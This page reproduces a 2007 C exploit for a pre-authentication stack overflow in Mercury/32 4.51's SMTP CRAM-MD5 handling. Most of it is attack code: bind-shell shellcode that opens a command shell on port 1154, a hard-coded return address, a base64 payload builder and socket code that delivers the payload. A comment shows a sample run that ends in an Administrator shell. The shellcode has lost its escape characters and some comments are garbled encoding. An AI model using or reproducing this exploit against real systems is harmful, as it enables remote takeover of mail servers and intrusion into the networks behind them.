Home / os / solaris

mercurycrammd5-overflow.txt

Posted on 24 August 2007

/* Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow(Universal) Public Version 1.0 http://www.ph4nt0m.org 2007-08-22 Code by: Zhenhan.Liu Original POC: http://www.milw0rm.com/exploits/4294 Vuln Analysis: http://pstgroup.blogspot.com/2007/08/tipsmercury-smtpd-auth-cram-md5-pre.html Our Mail-list: http://list.ph4nt0m.org (Chinese) It will bind a cmdshell on port 1154 if successful. Z:ExpMercury SMTPD>mercury_smtpd.exe 127.0.0.1 25 == Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow == Public Version 1.0 == http://www.ph4nt0m.org 2007-08-22 [*] connect to 127.0.0.1:25 ... OK! [C] EHLO void#ph4nt0m.org [S] 220 root ESMTP server ready. [S] 250-root Hello void#ph4nt0m.org; ESMTPs are: 250-TIME [S] 250-SIZE 0 [S] 250 HELP [C] AUTH CRAM-MD5 [S] 334 PDM0OTg4MjguMzQ2QHJvb3Q+ [C] Send Payload... [-] Done! cmdshell@1154? Z:ExpMercury SMTPDMercury SMTPD>nc -vv 127.0.0.1 1154 DNS fwd/rev mismatch: localhost != gnu localhost [127.0.0.1] 1154 (?) open Microsoft Windows XP [°æ±¾ 5.1.2600] (C) °æȨËùÓÐ 1985-2001 Microsoft Corp. e:MERCURY>whoami whoami Administrator */ #include <io.h> #include <stdio.h> #include <winsock2.h> #pragma comment(lib, "ws2_32") /* win32_bind - EXITFUNC=thread LPORT=1154 Size=317 Encoder=None http://metasploit.com */ unsigned char shellcode[] = "xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8bx45" "x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebx49" "x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1xcax0d" "x01xc2xebxf4x3bx54x24x28x75xe5x8bx5fx24x01xebx66" "x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24x1cx61" "xc3x31xdbx64x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40" "x08x5ex68x8ex4ex0execx50xffxd6x66x53x66x68x33x32" "x68x77x73x32x5fx54xffxd0x68xcbxedxfcx3bx50xffxd6" "x5fx89xe5x66x81xedx08x02x55x6ax02xffxd0x68xd9x09" "xf5xadx57xffxd6x53x53x53x53x53x43x53x43x53xffxd0" "x66x68x04x82x66x53x89xe1x95x68xa4x1ax70xc7x57xff" "xd6x6ax10x51x55xffxd0x68xa4xadx2exe9x57xffxd6x53" "x55xffxd0x68xe5x49x86x49x57xffxd6x50x54x54x55xff" "xd0x93x68xe7x79xc6x79x57xffxd6x55xffxd0x66x6ax64" "x66x68x63x6dx89xe5x6ax50x59x29xccx89xe7x6ax44x89" "xe2x31xc0xf3xaaxfex42x2dxfex42x2cx93x8dx7ax38xab" "xabxabx68x72xfexb3x16xffx75x44xffxd6x5bx57x52x51" "x51x51x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53" "xffxd6x6axffxffx37xffxd0x8bx57xfcx83xc4x64xffxd6" "x52xffxd0x68xefxcexe0x60x53xffxd6xffxd0"; // Base64×Ö·û¼¯ __inline char GetB64Char(int index) { const char szBase64Table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; if (index >= 0 && index < 64) return szBase64Table[index]; return '='; } // ´ÓË«×ÖÖÐÈ¡µ¥×Ö½Ú #define B0(a) (a & 0xFF) #define B1(a) (a >> 8 & 0xFF) #define B2(a) (a >> 16 & 0xFF) #define B3(a) (a >> 24 & 0xFF) // ±àÂëºóµÄ³¤¶ÈÒ»°ã±ÈÔ­ÎĶàÕ¼1/3µÄ´æ´¢¿Õ¼ä£¬Çë±£Ö¤base64codeÓÐ×ã¹»µÄ¿Õ¼ä inline int Base64Encode(char * base64code, const char * src, int src_len) { if (src_len == 0) src_len = strlen(src); int len = 0; unsigned char* psrc = (unsigned char*)src; char * p64 = base64code; for (int i = 0; i < src_len - 3; i += 3) { unsigned long ulTmp = *(unsigned long*)psrc; register int b0 = GetB64Char((B0(ulTmp) >> 2) & 0x3F); register int b1 = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F); register int b2 = GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F); register int b3 = GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F); *((unsigned long*)p64) = b0 | b1 << 8 | b2 << 16 | b3 << 24; len += 4; p64 += 4; psrc += 3; } // ´¦Àí×îºóÓàϵIJ»×ã3×ֽڵĶöÊý¾Ý if (i < src_len) { int rest = src_len - i; unsigned long ulTmp = 0; for (int j = 0; j < rest; ++j) { *(((unsigned char*)&ulTmp) + j) = *psrc++; } p64[0] = GetB64Char((B0(ulTmp) >> 2) & 0x3F); p64[1] = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F); p64[2] = rest > 1 ? GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F) : '='; p64[3] = rest > 2 ? GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F) : '='; p64 += 4; len += 4; } *p64 = ''; return len; } char* GetErrorMessage(DWORD dwMessageId) { static char ErrorMessage[1024]; DWORD dwRet; dwRet = FormatMessage( FORMAT_MESSAGE_FROM_SYSTEM, // source and processing options NULL, // pointer to message source dwMessageId, // requested message identifier 0, //dwLanguageId ErrorMessage, //lpBuffer 1024, //nSize NULL //Arguments ); if(dwRet) return ErrorMessage; else { sprintf(ErrorMessage, "ID:%d(%08.8X)", dwMessageId, dwMessageId); return ErrorMessage; } } int MakeConnection(char *address,int port,int timeout) { struct sockaddr_in target; SOCKET s; int i; DWORD bf; fd_set wd; struct timeval tv; s = socket(AF_INET,SOCK_STREAM,0); if(s<0) return -1; target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(address); if(target.sin_addr.s_addr==0) { closesocket(s); return -2; } target.sin_port = htons((short)port); bf = 1; ioctlsocket(s,FIONBIO,&bf); tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO(&wd); FD_SET(s,&wd); connect(s,(struct sockaddr *)&target,sizeof(target)); if((i=select(s+1,0,&wd,0,&tv))==(-1)) { closesocket(s); return -3; } if(i==0) { closesocket(s); return -4; } i = sizeof(int); getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i); if((bf!=0)||(i!=sizeof(int))) { closesocket(s); return -5; } ioctlsocket(s,FIONBIO,&bf); return s; } int check_recv(SOCKET s, char* str_sig) { char buf[1024]; int ret; for(;;) { memset(buf, 0, sizeof(buf)); ret = recv(s, buf, sizeof(buf), 0); if(ret > 0) { printf("[S] %s", buf); } else { printf("[-] recv() %s ", GetErrorMessage(GetLastError())); closesocket(s); ExitProcess(-1); } if(strstr(buf, str_sig)) { break; } else { continue; } } //for(;;) return ret; } int check_send(SOCKET s, char* buf, unsigned int buf_len) { int ret; ret = send(s, buf, buf_len, 0); if( ret >0) { return ret; } else { printf("[-] send() %s ", GetErrorMessage(GetLastError())); closesocket(s); ExitProcess(-1); } } void exploit_mercury_smtpd(char* ip, unsigned short port) { SOCKET s; WSADATA wsa; char buf[1500]; char payload[sizeof(buf)*4/3+16]; int base64_len; memset(buf, 0x90, sizeof(buf)); memcpy(&buf[1244-sizeof(shellcode)-32], shellcode, sizeof(shellcode)); memcpy(&buf[1244], "x90x90xebx06", 4); memcpy(&buf[1244+4], "x2dx12x40x00", 4); //universal opcode in mercury.exe. no safeseh memcpy(&buf[1244+4+4], "x90x90x90x90xE9x44xfdxffxff", 9); buf[sizeof(buf)-1] = ''; memset(payload, 0x00, sizeof(payload)); base64_len = Base64Encode(payload, buf, sizeof(buf)); memcpy(&payload[base64_len], " ", 3); printf("[*] connect to %s:%d ... ", ip, port); WSAStartup(MAKEWORD(2,2), &wsa); s = MakeConnection(ip, port, 10); if(s <= 0) { printf("Failed! %s ", GetErrorMessage(GetLastError()) ); return; } else { printf("OK! "); } _snprintf(buf, sizeof(buf), "EHLO void#ph4nt0m.org "); printf("[C] %s", buf); check_send(s, buf, strlen(buf)); check_recv(s, "250 HELP"); _snprintf(buf, sizeof(buf), "AUTH CRAM-MD5 "); printf("[C] %s", buf); check_send(s, buf, strlen(buf)); check_recv(s, "334"); printf("[C] Send Payload... "); check_send(s, payload, strlen(payload)); printf("[-] Done! cmdshell@1154? "); closesocket(s); WSACleanup(); } void main(int argc, char* argv[]) { printf("== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow "); printf("== Public Version 1.0 "); printf("== http://www.ph4nt0m.org 2007-08-22 "); printf("== code by Zhenhan.Liu "); if(argc==3) exploit_mercury_smtpd(argv[1], atoi(argv[2])); else { printf( "Usage: " " %s <ip> <port> ", argv[0]); } }

 

TOP